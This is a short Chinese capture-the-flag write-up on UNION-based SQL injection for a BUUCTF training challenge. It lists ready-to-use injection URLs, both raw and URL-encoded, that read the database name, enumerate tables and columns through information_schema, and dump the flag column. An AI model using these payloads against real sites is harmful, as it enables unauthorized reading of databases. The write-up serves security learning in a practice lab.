联合查询
约 302 字大约 1 分钟
2025-02-06
例题:BUUCTF N1BOOK [第一章 web入门]SQL注入-1
查数据库名
http://example.com/index.php?id=4' union select 1,database(),3#http://example.com/index.php?id=4%27%20union%20select%201%2cdatabase()%2c3%23select * from notes where id ='4' union select 1,database(),3结果:

查表名
http://example.com/index.php?id=4' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#http://example.com/index.php?id=4%27%20union%20select%201,2,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()%23union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()结果:

查字段名
http://example.com/index.php?id=4' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'#http://example.com/index.php?id=4%27%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_schema=database()%20and%20table_name=%27fl4g%27%23select * from notes where id ='4' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'这里的
fl4g是上一步查到的表名
结果:

查字段内容
http://example.com/index.php?id=4' union select 1,database(), group_concat(fllllag) from fl4g#http://example.com/index.php?id=4%27%20union%20select%201%2cdatabase()%2c%20group_concat(fllllag)%20from%20fl4g%23select * from notes where id ='4' union select 1,database(), group_concat(fllllag) from fl4g这里的
fl4g和fllllag是上两步查到的表名和字段名
结果:

